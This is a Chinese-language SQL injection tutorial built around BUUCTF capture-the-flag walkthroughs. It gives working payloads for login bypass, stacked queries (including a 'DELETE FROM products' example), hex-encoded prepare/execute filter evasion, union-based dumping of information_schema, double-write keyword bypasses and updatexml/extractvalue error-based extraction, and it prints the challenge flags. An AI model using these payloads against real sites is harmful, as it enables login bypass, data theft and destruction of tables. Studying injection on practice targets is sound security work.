<a name="vKdJg"></a>
深入了解SQL注入
<a name="PkjbR"></a>
什么是SQL注入？
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。（百度百科）<br />SQL注入是Web安全常见的一种攻击手段，其主要存在于数据库中，用来窃取重要信息，在输入框、搜索框、登录窗口、交互式等等都存在注入可能；是否是输入函数无法判断其输入的合法性并将其作为PHP等语言代码来执行，或整体逻辑出现缺陷，或关键字关键命令关键字符没过滤全，包括编码加密命令是否进行了过滤，这些种种环节的防护不严都将导致SQL注入的成功。（本人拙见） <a name="gcNHY"></a>
SQL注入按照注入点类型来分可以分为常见的三大类：
- 数字型注入：当输入的参数为整型的时候，如果存在注入漏洞，则可以认为是数字型注入。
select * from BaiMao where id='1'
- 字符型注入：和数字型恰恰相反，当输入的参数为字符串的时候，如果存在注入漏洞，则可以认为是字符型注入，不同的一点是，数字型注入参数需要闭合，而字符型注入参数不需要闭合。
select * from BaiMao where id=' 1' '
- 搜索型注入：网站具有搜索功能，但开发人员忽略了对变量、关键字、命令的过滤，从而导致了注入可能，也可以称为文本框注入。 <a name="nULIB"></a>
常见注入手法分类：
基于从服务器接收到的响应 基于报错的SQL注入 联合查询注入 堆查询注入 SQL盲注 基于布尔SQL盲注 基于时间SQL盲注 基于报错SQL盲注 基于程度和顺序的注入 一阶注入 二阶注入 一阶注射是指输入的注射语句对 WEB 直接产生了影响，出现了结果；二阶注入类似存 储型 XSS，是指输入提交的语句，无法直接对 WEB 应用程序产生影响，通过其它的辅助间 接的对 WEB 产生危害，这样的就被称为是二阶注入. 基于注入点的位置 通关用户输入的单表域注射 通过cookie注射 通关服务器变量注射（基于头部信息的注入） 此处参考博客：https://blog.csdn.net/m0_46571665/article/details/124946824?spm=1001.2014.3001.5506
<a name="MP7o6"></a>
万能密码实验原理
用户进行登陆验证的时候，就会对其用户名和密码参数进行验证，而验证的过程就是网站需要查询数据库，而查询数据库的本质就是后台要执行SQL语句。<br />咱们可以测试一下，原来后台执行的数据库查询操作（SQL语句）：<br />select username,password from BaiMao where username='用户名' and password='密码'<br />由于网站后台在进行数据库查询的时候没有对单引号进行过滤，或者说是过滤不严，当输入用户名【admin】和万能密码【1' or '1'='1】的时候，执行的SQL语句为：<br />select username,password from BaiMao where username='admin' and password=' 1' or '1'='1 '<br />再者SQL语句中逻辑运算符具有优先级，【=】>【and】>【or】,且适用传递性，因此这个SQL语句在后台进行解析时，分成了两句，（【注意】1'时字符型注入，所以可以只看这 or '1'='1)<br />select username,password from BaiMao where username='admin' and password=' 1 '和【' 1 '】，两句bool（布尔类型）值进行逻辑or运算，恒为true,SQL查询语句的结果就为true，这就意味着认证成功，成功登录到系统当中。
<a name="Gizf0"></a>
【例题：】buuctf [极客大挑战 2019]EasySQL 1
网页环境<br />
<br />可以看到是一个登录窗口，题目已经说了是SQL注入<br />首先试一下弱口令，admin,123<br />
<br />提示用户名密码错了<br />既然是第一道题，那应该是很简单了<br />判断是数字型还是字符型
- 数字型
and 1=1 回显正常<br />and 1=2 返回异常，存在数字型注入可能
- 字符型
1 返回正常<br />1' 返回异常，存在字符型注入可能<br />经过测试，发现username和password两个参数都可以分别注入和同时注入<br />构造payload<br />url?usename=1'&password=1'<br />
<br />回显报错，存在SQL字符型注入<br />小试一下万能密码注入<br />构造payload<br />url?usename=1' or '1'='1&password=1' or '1'='1<br />回显flag<br />
<br />
<br />原文链接：https://blog.csdn.net/m0_73734159/article/details/133827153?spm=1001.2014.3001.5501
<a name="W7krD"></a>
字符型注入和堆叠查询手法原理
堆叠注入原理
在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。 参考：https://blog.csdn.net/qq_26406447/article/details/90643951
<a name="WKK4H"></a>
【例题】buuctf[强网杯 2019]随便注 1
<a name="evxPg"></a>
第一种解法 堆叠注入
网页环境<br />
<br />判断是否是字符型注入<br />1'<br />
<br />判断是否存在关键字过滤<br />select<br />
<br />联合查询被过滤，只能用堆叠注入了<br />查看有几个字段<br />1' order by 2#<br />
<br />正常回显<br />1' order by 3#
<br />回显报错，可以看出只有两个字段<br />查看所有数据库<br />1'; show databases;<br />
<br />查看所有数据表<br />1'; show tables;<br />
<br />爆words数据表的字段<br />1';show columns from words;#
<br />爆1919810931114514数据表字段（注意数据表为数字的时候需要用反引号括起来）<br />1';show columns from1919810931114514;#<br />
<br />可以看到这两个表words表有两个字段，而另一个只有一个字段<br />后台SQL查询语句应该是：<br />select * from words where id=<br />所以说只能先查询id字段，然而另一个表只有一个flag字段是肯定爆不了flag的，并且类型为varchar字符串类型，而恰巧words数据表里面的data也是varchar类型，因此从这里就可以得到做题思路，通过rename函数进行改表，把1919810931114514改为words，增加新字段id，将flag改为data，将刚开始那个words表改为其他任意表。<br />构造payload：<br />1';rename table words to BaiMao;rename table1919810931114514to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
rename修改表名 alter修改已知的列 add增加 int整数类型 unsigned无符号类型 not null- 指示某列不能存储 NULL 值。 primary key - NOT NULL 和 UNIQUE 的结合。指定主键，确保某列（或多个列的结合）有唯一标识，每个表有且只有一个主键。 auto_increment-自动赋值，默认从1开始。
成功回显flag：<br />
<br />注意没有回显flag，就类似于你更新了个东西但是没刷新，重新在文本框里面输入1提交即可回显flag。
<a name="z4q8F"></a>
第二种解法 编码逃逸 绕过滤
由于select被过滤，考虑使用编码进行绕过<br />使用select查询就很简单了<br />构造payload<br />select *from where1919810931114514`` (注意这里使用反引号把这个数字括起来，md编辑器打不上去）<br />*号查询数据表里面的全部内容，这就是爆出flag的原理<br />进行16进制编码加密<br />73656c656374202a2066726f6d20603139313938313039333131313435313460<br />最终payload：<br />1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
- prepare…from…是预处理语句，会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
- 0x就是把后面的编码格式转换成十六进制编码格式
- 那么总体理解就是，使用SeT方法给变量a赋值，给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值，execsql方法执行来自a变量的值，prepare...from方法将执行后的编码变换成字符串格式，execute方法调用并执行execsql方法。
参考：https://blog.csdn.net/qq_44657899/article/details/10323914
回显flag：<br />
<a name="E2zV0"></a>
第三种解法 handler代替select
select命令被过滤了怎么办？我们还可以用handler命令进行查看，handler命令可以一行一行的显示数据表中的内容。<br />构造payload：<br />1'; handler1919810931114514open asa; handleraread next;#
handler代替select，以一行一行显示内容 open打开表 as更改表的别名为a read next读取数据文件内的数据次数
上传payload，回显flag：<br />
<br />原文链接：https://blog.csdn.net/m0_73734159/article/details/134049744?spm=1001.2014.3001.5501
<a name="zzKCR"></a>
数字型注入和堆叠查询手法原理
<a name="gjjce"></a>
【例题】[SUCTF 2019]EasySQL 1
题目环境：<br />
把你的旗子给我，我会告诉你旗子是不是对的。
判断注入类型<br />1'<br />回显结果<br />
不是字符型SQL注入
1<br />回显结果<br />
数字型SQL注入
查所有数据库,采用堆叠注入<br />1;show databases;<br />
<br />查看所有数据表<br />1;show tables;<br />
<br />尝试爆Flag数据表的字段<br />1;show columns from Flag;<br />
回显错误
到这里，大佬们直接猜出了后端语句<br />select $_GET['query'] || flag from Flag<br />我直接好家伙，大佬果然是大佬<br />||就是SQL里面的逻辑或运算符
<a name="ozCCH"></a>
第一种解法 添加新列绕过逻辑或运算符：
***,1**<br />那么传到后端语句就是<br />select *,1 || flag from Flag<br />这里我问了下文心一言，看完我也理解了
这段SQL代码的含义是：从Flag表中选择所有的列，以及由列flag的值与数字1进行连接生成的新列。 具体来说： select *：选择所有的列。 1 || flag：这是SQL中的字符串连接操作。它将数字1与flag列的值进行连接。对于每一行，都会生成一个新的字符串，这个字符串是数字1后跟着flag列的值。如果flag列的值本身是一个字符串，那么这两个字符串将被连接起来。 from Flag：从Flag表中选择数据。 因此，这段代码的输出结果将包含Flag表的所有列，以及一个名为“1”的列，该列的值是flag列的值与数字1的连接。
大致意思，就是查看数据表Flag的所有列内容，然后添加了一个由列flag的值与数字1进行连接生成的新列，这个新的列名就叫1，那么猜测或者说就是flag被过滤，我们还能查到flag列的值，因为flag的值复制到了新的列1。<br />*,0<br />
<br />可以明显看到新的列名0和flag的值连接起来了<br />*,1<br />
<br />对吧，新列名为1<br />*,2<br />
<br />还是为1，所有还可以看出Flag数据表的列只能是两个
<a name="Dxhjs"></a>
第二种解法 改逻辑或运算符为字符串连接符：
既然题目内置的是逻辑或运算符，那咱们直接把它改成字符串连接符不就好了嘛（滑稽）<br />使用set方法定义sql_mode参数设置，PIPES_AS_CONCAT字符串连接符select 1查询第一列<br />1;set sql_mode=PIPES_AS_CONCAT;select 1<br />回显结果：<br />
<br />可以明显看出解法1和解法2的回显结果有明显不同<br />原文链接：https://blog.csdn.net/m0_73734159/article/details/134142483?spm=1001.2014.3001.5501
<a name="nYEWL"></a>
字符型注入和联合查询手法原理（常见注入手法）
<a name="zypjM"></a>
【例题】[极客大挑战 2019]LoveSQL 1
题目环境：<br />
<a name="p4sxq"></a>
判断注入类型
是否为数字型注入
admin
1
回显结果<br />
否
是否为字符型注入
admin
1'
回显结果<br />
是
<a name="YE5tn"></a>
判断注入手法类型
使用堆叠注入 采用密码参数进行注入
爆数据库<br />1'; show database();#<br />回显结果<br />
这里猜测注入语句某字段被过滤，或者是';'被过滤导致不能堆叠注入
爆字段数<br />1';order by 4#<br />回显结果<br />
报错 抛弃堆叠注入
<a name="PGFsP"></a>
步入正题
1' order by 4#<br />回显结果<br />
成功，但是不存在第4列 同时验证了猜想不能使用堆叠注入
继续判断列数<br />1' order by 3#<br />
可知列数只有3列
爆数据库<br />使用联合查询<br />1' union select 1,2,database()#<br />
<br />爆数据表<br />1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#<br />回显结果<br />
爆出两个表 开始爆数据表的字段 按照先后顺序把，先爆第一个
爆geekuser数据表的字段<br />1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#<br />回显结果<br />
字段：id、username、password
爆geekuser数据表的所有内容<br />1' union select 1,database(),group_concat(id,username,password) from geekuser#<br />回显结果<br />
无flag
转手数据表l0ve1ysq1<br />步骤和数据表geekuser一样，这里直接爆数据表l0ve1ysq1的flag值<br />1' union select 1,database(),group_concat(password) from l0ve1ysq1#<br />回显结果<br />
<br />
<br />得出flag：<br />flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}<br />原文链接：https://blog.csdn.net/m0_73734159/article/details/134185235?spm=1001.2014.3001.5501
双写绕过原理
【例题】[极客大挑战 2019]BabySQL 1
题目环境：<br />
判断注入类型
admin 1'
字符型注入<br />
<br />万能密码注入
admin 1' or '1'='1
报错<br />
已经是字符型注入了，所以的话只有or这里存在了过滤 联想到buuctf里面还没有碰到双写绕过的题目 所以这里斗胆试一下使用双写绕过
1' oorr '1'='1<br />成功<br />
<br />使用堆叠注入爆数据库<br />1';show database();<br />报错<br />
<br />抛弃堆叠注入<br />尝试联合注入
联合注入末尾需要使用#号键进行注释#号后面的命令，避免报错
这里值得提一下schema和schemata和常见命令的理解
SCHEMA在MySQL中是数据库，SCHEMATA表用来提供有关数据库的信息。 union select就是联合注入，联合查询的意思 from来自 information_schema是MySQL自带的数据库 group_concat将值连接起来 where来自那个数据库或数据表等等
爆列数(关键命令采用双写进行绕过）<br />1' oorrder bbyy 4#<br />
<br />1' oorrder bbyy 3#<br />
可知列数只有3列
查位(关键命令采用双写进行绕过）<br />1' ununionion seselectlect 1,2,3#<br />
<br />爆数据库(关键命令采用双写进行绕过）<br />1' ununionion seselectlect 1,database(),3#<br />
<br />采用第三列进行注入<br />爆所有数据库(关键命令采用双写进行绕过）<br />1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#<br />
根据常识ctf数据库里面存在flag的可能更大，故选择ctf数据库
爆ctf数据库里面的数据表<br />1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
因为ctf在schema里面所有这里就是table_schema，schema里面的数据库ctf里面的数据表
得到Flag数据表<br />
<br />爆Flag数据表里面的字段<br />1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#<br />得到flag字段<br />
<br />爆flag字段内容<br />1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#
ctf.Flag意思就是ctf数据库里面的Flag数据表
<br />得到flag：<br />flag{fbd18420-cab7-4d6e-8fb9-f8ea6febda61}
原文链接：https://blog.csdn.net/m0_73734159/article/details/134277587?spm=1001.2014.3001.5502
报错注入原理
非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1（两种解法！）
题目环境：<br />
没错，又是我，这群该死的黑客竟然如此厉害，所以我回去爆肝SQL注入，这次，再也没有人能拿到我的flag了 做了好多这个作者出的题了，看来又要上强度了
判断注入类型
username：admin password：1 这里把参数password作为注入点
<br />1'<br />
单引号的字符型注入
万能密码注入<br />1' or '1'='1<br />
万能密码注入被链接 猜测某些字符或者关键字被过滤
SQL注入字典查过滤字符<br />
<br />Intruder字典爆破<br />
<br />光标选中参数password的值1-Add选择爆破目标
<br />选用字典<br />
<br />Start attack开始爆破<br />
<br />OK<br />
<br />爆破结果：<br />
741为过滤内容 可以看到很多字符=、--+、/**/和一些注入命令union、by、'1'='1等被过滤
继续测试
admin 1' or
<br />
可以看到被拦截了 通过刚才的字典爆破，可以知道1'和or是没有被过滤的 那么真相只有一个，卧槽，空格被过滤了，我直呼好家伙
刚开始本想尝试编码绕过空格，结果不行，这里猜测到了空格限制
空格限制
admin 1'(or)
like没有被过滤，使用like可以绕过=号，like <=> =
重新构造万能密码<br />1'or((1)like(1))#<br />
<br />
可以看到绕过了空格限制 同时也登陆成功了 然后想到了之前做过很类似的一道题 SQL报错注入也用到了空格限制 （已经试了堆叠注入和联合注入都不行） 这里就索性试一下SQL报错注入
知识一、
SQL报错注入常用函数
两个基于XPAT（XML)的报错注入函数 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数 注入原理： （在使用语句时，如果XPath_string不符合该种类格式，就会出现格式错误，并且会以系统报错的形式提示出错误！） （局限性查询字符串长度最大为32位，要突破此限制可使用right(),left()，substr()来截取字符串）
其它 函数floor() mysql中用来取整的函数 函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数
首先使用updatexml()函数进行SQL报错注入<br />爆库<br />1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#<br />
得到库名geek
查表<br />1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#<br />
得到数据表H4rDsq1
爆字段<br />1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#<br />
得到三个字段：id、username、password
查字段内容<br />1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#<br />
得到前一半flag值flag{389c9161-c2eb-403a-80
使用right()突破字符限制<br />1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#<br />
得到后一段flag值b-403a-8062-80f219ca1c30}
拼接得到最终flag：<br />flag{389c9161-c2eb-403a-8062-80f219ca1c30}
使用extractvalue()函数进行SQL报错注入
知识：^这个符号可以绕过or的限制 这两种函数大同小异，不再赘述 当然也可以不使用^来绕过or限制，单一的()绕过空格限制也可以 大家可以看下边进行对比学习
1'^extractvalue(1,concat(0x7e,(select(database()))))#<br />
<br />
<br />1'or(extractvalue(1,concat(0x7e,(select(database())))))#<br />
<br />
好了大家已经明显看到了^和()绕过不同限制的区别 那么下面就给大家一直演示^绕过or限制了（上一个updatexml()函数使用的是()绕过空格限制）
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#<br />
<br />1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#<br />
<br />1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#<br />
<br />使用right()突破字符限制<br />1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#<br />
<br />拼接得到最终flag：<br />flag{389c9161-c2eb-403a-8062-80f219ca1c30}
原文链接：https://blog.csdn.net/m0_73734159/article/details/134450773
